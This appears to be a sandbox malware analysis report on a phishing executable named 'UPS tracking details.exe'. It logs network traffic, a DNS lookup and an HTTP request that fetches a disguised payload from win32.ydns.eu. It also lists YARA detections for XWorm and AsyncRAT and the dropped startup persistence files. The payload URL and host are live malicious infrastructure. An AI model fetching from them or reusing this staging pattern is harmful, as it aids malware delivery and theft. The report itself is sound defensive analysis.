Mar 3, 2025 08:45:55.014061928 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:55.014072895 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:55.014097929 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:55.014121056 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:55.014123917 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:55.014143944 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:55.014157057 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:55.014168024 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:55.014189005 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:55.014192104 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:55.014209032 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:55.014219046 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:55.014219999 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:55.014240026 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:55.014246941 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:55.014251947 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:55.014264107 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:55.014271021 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:55.014277935 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:55.014302015 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:55.014306068 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:55.014316082 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:55.014343023 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:55.014348030 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:55.014354944 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:55.014386892 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:55.014388084 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:55.014400005 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:55.014420986 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:55.014421940 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:55.014434099 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:55.014444113 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:55.014456034 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:55.014486074 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:55.014573097 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:55.014585018 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:55.014591932 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:55.014615059 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:55.014635086 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:55.014636993 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:55.014647961 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:55.014655113 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:55.014663935 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:55.014677048 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:55.014689922 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:55.014691114 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:55.014704943 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:55.014713049 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:55.014719009 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:55.014731884 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:55.014744043 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:55.014750957 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:55.014755011 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:55.014775991 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:55.014796972 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:55.014803886 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:55.014810085 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:55.014821053 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:55.014833927 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:55.014849901 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:55.014879942 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:55.056685925 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:55.056698084 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:55.056755066 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:55.056854963 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:55.056871891 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:55.056885004 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:55.056895971 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:55.056910992 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:55.056915998 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:55.056922913 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:55.056936026 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:55.056947947 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:55.056960106 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:55.056966066 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:55.056972027 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:55.056983948 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:55.056984901 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:55.057008982 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:55.099689960 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:46:00.075222015 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:46:00.075282097 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:46:00.763959885 CET	61378	53	192.168.2.7	1.1.1.1
Mar 3, 2025 08:46:00.769022942 CET	53	61378	1.1.1.1	192.168.2.7
Mar 3, 2025 08:46:00.769100904 CET	61378	53	192.168.2.7	1.1.1.1
Mar 3, 2025 08:46:00.774312019 CET	53	61378	1.1.1.1	192.168.2.7
Mar 3, 2025 08:46:01.413918018 CET	61378	53	192.168.2.7	1.1.1.1
Mar 3, 2025 08:46:01.419087887 CET	53	61378	1.1.1.1	192.168.2.7
Mar 3, 2025 08:46:01.419182062 CET	61378	53	192.168.2.7	1.1.1.1
Mar 3, 2025 08:46:08.084744930 CET	49705	80	192.168.2.7	45.144.214.104

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 3, 2025 08:45:52.662981987 CET	64893	53	192.168.2.7	1.1.1.1
Mar 3, 2025 08:45:52.677602053 CET	53	64893	1.1.1.1	192.168.2.7
Mar 3, 2025 08:46:00.763405085 CET	53	56716	1.1.1.1	192.168.2.7

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Mar 3, 2025 08:45:52.662981987 CET	192.168.2.7	1.1.1.1	0x1f02	Standard query (0)	win32.ydns.eu	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Mar 3, 2025 08:45:52.677602053 CET	1.1.1.1	192.168.2.7	0x1f02	No error (0)	win32.ydns.eu		45.144.214.104	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

win32.ydns.eu

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49705	45.144.214.104	80	3164	C:\Users\user\Desktop\UPS tracking details.exe

Timestamp	Bytes transferred	Direction	Data
Mar 3, 2025 08:45:52.701298952 CET	105	OUT	GET /never/lookinto/it/panel/uploads/Fjuzaw.pdf HTTP/1.1 Host: win32.ydns.eu Connection: Keep-Alive
Mar 3, 2025 08:45:53.879551888 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 03 Mar 2025 07:45:53 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30 Last-Modified: Mon, 03 Mar 2025 03:22:59 GMT ETag: "fa608-62f67ac5438e3" Accept-Ranges: bytes Content-Length: 1025544 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/pdf Data Raw: 3b 86 64 13 ed a7 7c 3b e7 bd 1a a8 88 96 ae 00 f9 bd 16 59 87 65 42 cc 9d 47 1b 8e 3b 73 17 53 17 8e 3f 45 8d 3e d6 53 9e dc a2 bb 73 89 ef 5b 08 17 e8 c4 d5 ad 73 20 24 c4 ea fe 57 44 68 b8 d2 10 76 ac e1 71 82 d2 ca c7 08 de 88 a3 3a d1 21 cf a1 b6 6d 9a 49 5e 5b 6c e2 11 03 78 c3 6b 1f 11 5f 92 ac bd 47 6d 5a db e6 2a a0 64 47 ec d9 f0 dd 34 f3 8b a8 96 11 20 9a 87 03 cf d1 86 80 e9 11 4d 3f 69 d1 7a 86 19 1d 89 7e 35 2f ef a4 18 43 e4 7f f7 7f 8e f9 7a ef d7 53 ad 43 d9 82 15 ea 27 c9 2d a7 8e 96 e4 e7 ef f7 04 55 5c 69 5d b4 5e 6d 8a 88 56 6a c6 69 3b 02 08 2a dd 58 23 4a 1b 17 47 24 b5 ad 62 38 22 64 ce 22 5f 9c 28 6a 25 db 9b c9 8a 78 22 d5 d0 c9 6d ec 0b b6 25 fb 15 f8 c1 2f cf 89 54 95 d5 81 4a 3b 6c af 2e 23 83 61 33 d2 60 75 5f 00 46 93 32 cc 1a 6b d3 6b f5 8b 00 ed ce 62 cb e7 93 91 cb 11 41 98 b1 bb 6e d4 17 58 c4 88 64 75 27 d9 c2 b8 84 4a f6 f2 67 75 74 df ca 45 59 68 2d c9 e9 f1 98 07 24 92 0a 70 cb c2 18 65 30 6c eb eb df 73 28 a0 3e 4b 36 e2 28 94 c5 eb 92 89 f7 57 d5 37 a5 9a 21 [TRUNCATED] Data Ascii: ;d\|;YeBG;sS?E>Ss[s $WDhvq:!mI^[lxk_GmZdG4 M?iz~5/CzSC'-U\i]^mVji;X#JG$b8"d"_(j%x"m%/TJ;l.#a3`u_F2kkbAnXdu'JgutEYh-$pe0ls(>K6(W7!6\xIQ#mB4]raE5],D/LJ`G`(D^o.SOd{"^sZxx7i (GUPfTOfHH.cnR0T+C4HI$+7!Bu0g045!~Q!0h[rPt=j2~rG+m?6qU^_/WF",m/>A>2+{"@@rNBA!&ST+bfGzc5r: R.@_AJMNa5^[DOk)t)dN&W@gWq6+o%CbV\tB?9lN>M{\|m:M4a".eS8WuFX9RoU6v)TA>P0{3dR`Cw^"0b\)FevJ+/
Mar 3, 2025 08:45:53.879576921 CET	1236	IN	Data Raw: 95 b5 8d 7e d3 c6 aa 46 08 3e bc b6 74 25 65 aa 36 88 23 eb 2a 7c ba e3 b1 eb 9b 37 7a 26 39 a3 b0 dd 42 ef 87 f4 25 7d 64 85 49 ac 24 ef b5 15 7d 7b 57 b9 0b 47 dc 2d 2c cc 65 8f 2c 62 18 3e f7 fd bf 43 44 2a 26 e4 dc 43 1d f5 84 e7 ef f8 8d 05 Data Ascii: ~F>t%e6#\|7z&9B%}dI$}{WG-,e,b>CD&CH+r#7\K9c!Kn*A(. >(=_;Q.t+9\|`\|rLjmL4e6^-RIU`qr)u3@pn%\k\slXQ, WTk#0/
Mar 3, 2025 08:45:53.879590034 CET	448	IN	Data Raw: 5a 6c 8d ab f8 2c c4 3e 20 78 22 ad 56 9d df 7b 43 88 09 bd ad 0b 09 91 46 40 3b cb c6 38 b0 91 1e fe dd e4 64 8f 0f 5c 60 95 2e ac a3 4a 64 d3 ba 58 7d 5a 39 b7 2a 13 d6 c7 06 5e 45 45 b7 0b 13 05 33 3f 62 f1 9a 87 0e 91 9d d8 ff 16 3c 51 52 a5 Data Ascii: Zl,> x"V{CF@;8d\`.JdX}Z9^EE3?b<QRm\W$a8%,(O"]^^.;z5U]:Fe^',<nq>)$m>!-7}X*PX%]qMLuDRq[YX-Kzv+)kXt\|0HA<
Mar 3, 2025 08:45:53.879600048 CET	1236	IN	Data Raw: 76 c1 99 a6 07 c2 1d b3 ea 10 9e 63 29 57 28 0a 5d 47 63 b7 e7 5a fc 0a 30 ce a7 40 fc 8b 5e a9 6a 65 5a 2d 09 94 b1 44 33 ed 24 82 ad 5f 53 c7 fa 53 13 2f 66 ed 83 18 99 3c 5a 0d de 8e f4 d9 c7 c0 38 82 3e bc 18 27 c9 f2 e9 91 71 1f 95 28 2c b0 Data Ascii: vc)W(]GcZ0@^jeZ-D3$_SS/f<Z8>'q(,~z.r)*l3FB)[#5ZG9ZfbRv m;!TlMgf? > o09\aGL>,QhxMAU%UX@
Mar 3, 2025 08:45:53.879611969 CET	1236	IN	Data Raw: cd 62 52 b1 90 9c 33 f0 59 af 44 c1 dc 01 e3 ea d0 08 db c1 5e 87 cb 0d 5b 53 34 9e ec 35 ea 48 21 38 fd e5 72 c5 1f 28 6d 99 ef 1f dc 22 e3 09 da 1b 4b 75 e6 16 cd 83 94 4e 42 02 92 f8 06 68 a7 a1 79 bd e1 3b a9 19 2d 81 18 39 b6 72 cf 85 f7 09 Data Ascii: bR3YD^[S45H!8r(m"KuNBhy;-9rHjj9CO+&@6rwh9SpX$naL[ZVyQHuJcl8fmH~G;"^8`QY0++_fp>vU>O1*:
Mar 3, 2025 08:45:53.879625082 CET	1236	IN	Data Raw: 5d 24 0f af c4 b1 5c 1d 4b 3d bc f6 cc 22 35 43 18 f8 b0 c8 b4 32 2e b2 c1 67 ea 8d 65 c2 b4 de 12 85 4e fe ec 51 8f 10 13 52 66 c8 18 fb 76 74 84 5e 64 0b 08 03 ae 84 b8 c3 e0 a2 76 b1 3e 9d 57 a2 f0 2a a4 1c c7 81 60 5b 30 58 6b 33 60 e1 6c 08 Data Ascii: ]$\K="5C2.geNQRfvt^dv>W*`[0Xk3`lTx0Z[bj%c?gyv}p5[2my+&IV#(EeHur-S<"Zg(3NET@)q@mjuODVieV+\|
Mar 3, 2025 08:45:53.879637957 CET	1236	IN	Data Raw: 0c a7 89 d3 d2 44 79 a5 93 96 f3 94 23 1e 4c 12 28 53 3c 62 d0 de d3 2f c0 d0 e7 52 16 5b 16 64 93 fb e3 b8 ce 0a 28 e1 8e a5 71 f8 b2 8c 50 88 60 27 20 ed 59 2d b4 9c fd 6f 1d a8 19 f0 fe 55 fe c6 5e 20 0c a8 9d 2c 57 c8 67 28 29 1f 16 6c 91 58 Data Ascii: Dy#L(S<b/R[d(qP`' Y-oU^ ,Wg()lX2K#.-ej&7#46yULqNIFHke\%G T=F/hvQbE0nB%p(KELQMfFa\|lhvJF8IP:\CCd)}9l
Mar 3, 2025 08:45:53.879650116 CET	1236	IN	Data Raw: 96 20 54 04 d9 e6 c1 5e 5a 40 a2 52 eb 09 58 97 36 a6 44 27 c1 1c 00 00 9b ca 19 50 ae 9c 7a 78 ab ed b9 0e 28 d8 3e 86 9d 34 61 c6 11 d3 c4 21 0b d7 1d d8 22 98 da e2 13 53 82 4c 0f a7 53 b8 33 97 c1 83 c6 25 e7 b1 e2 7e d4 40 4f 93 64 81 f8 80 Data Ascii: T^Z@RX6D'Pzx(>4a!"SLS3%~@Odpv1I8Snq4H~I=XBCvi(`*)5YSDa=ceisz"lo^6h\|H4.Eq]o,\"dj7Z sUFF
Mar 3, 2025 08:45:53.879662037 CET	1236	IN	Data Raw: 40 85 32 42 0e 7b fc 6e a9 82 3a a1 99 ba df 04 46 20 8b d1 26 13 55 87 20 5e 94 f2 5f ac a9 e7 e2 06 37 1f 2e a8 10 19 0b d1 ed f4 69 8c ae cc a6 2b c2 da e7 bb 59 6b 4d f0 2b 2f 50 2d aa ce 17 38 87 a8 6b 82 e6 e0 be a8 d9 a6 d9 89 24 25 5d 92 Data Ascii: @2B{n:F &U ^_7.i+YkM+/P-8k$%]:/kD)~I?u?7HYZ&ZM{^n`'5u9(+@tL>sYE%&Ipm6J\7H=Rnou8h{#\|Om;
Mar 3, 2025 08:45:53.879683018 CET	776	IN	Data Raw: fe de b2 5d 29 9c a1 b4 99 69 da 45 c9 05 bf ab 24 8f e2 48 da 50 c1 af 87 75 d5 7f a3 7f 46 50 a1 f3 4b 66 e4 f5 b2 7d 24 a3 86 3d 53 4a 49 ce 52 d2 eb 9e 6b 62 a2 30 06 3a cf f8 24 95 45 d0 37 0d 24 b0 6d 69 c3 08 75 26 79 fe 2e b7 f0 6a c4 3d Data Ascii: ])iE$HPuFPKf}$=SJIRkb0:$E7$miu&y.j=mFHk7e@t\.us?8>D2s\|JdWyHhII&?""kIenK22;v>2~@31{Y+=IW(Km_umT,h#
Mar 3, 2025 08:45:53.884787083 CET	1236	IN	Data Raw: 29 e0 6a 73 2e d4 f6 24 a1 28 ed cf 51 a5 ee ef d9 5b 66 9c 51 cd 5c d5 c9 b8 44 53 f3 7d 29 59 28 f0 3d ee 5d b3 e8 5e 36 2a 4e 01 8d b5 53 43 59 38 1b 8b ea 71 2c bc a7 16 64 ed 6f 8e 11 15 4b c5 38 5e 4e e9 af 16 dd af 8b 1b e7 61 d7 8c f0 3a Data Ascii: )js.$(Q[fQ\DS})Y(=]^6NSCY8q,doK8^Na:OoD4UNxF:yJCi}h\|qNWKclTB[meX@IVTF34`Q;}Hqr3xOGj.dPhDU"ao+0

Target ID:	1
Start time:	02:45:51
Start date:	03/03/2025
Path:	C:\Users\user\Desktop\UPS tracking details.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\UPS tracking details.exe"
Imagebase:	0xe0000
File size:	871'424 bytes
MD5 hash:	28BADF3EB1AA6CE975FEE86E6EC1DC14
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: 00000001.00000002.1682564416.00000000029ED000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: 00000001.00000002.1682564416.00000000029ED000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000001.00000000.1536927005.00000000000E2000.00000002.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000001.00000002.1699346885.00000000059F0000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000001.00000002.1682564416.000000000266D000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: 00000001.00000002.1682564416.000000000266D000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: 00000001.00000002.1682564416.000000000266D000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000001.00000002.1695473543.0000000003581000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	02:46:05
Start date:	03/03/2025
Path:	C:\Users\user\Desktop\UPS tracking details.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\UPS tracking details.exe"
Imagebase:	0x800000
File size:	871'424 bytes
MD5 hash:	28BADF3EB1AA6CE975FEE86E6EC1DC14
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: 00000003.00000002.2789720458.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: 00000003.00000002.2789720458.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	02:46:08
Start date:	03/03/2025
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 6572 -s 928
Imagebase:	0xea0000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Chronological Activities

Disassembly

Reset < >

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report UPS tracking details.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Xworm

Yara Signatures

Initial Sample

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

Data Obfuscation

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Remaining.vbs

C:\Users\user\AppData\Roaming\Remaining.exe

C:\Users\user\AppData\Roaming\Remaining.exe:Zone.Identifier

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Windows Analysis Report
UPS tracking details.exe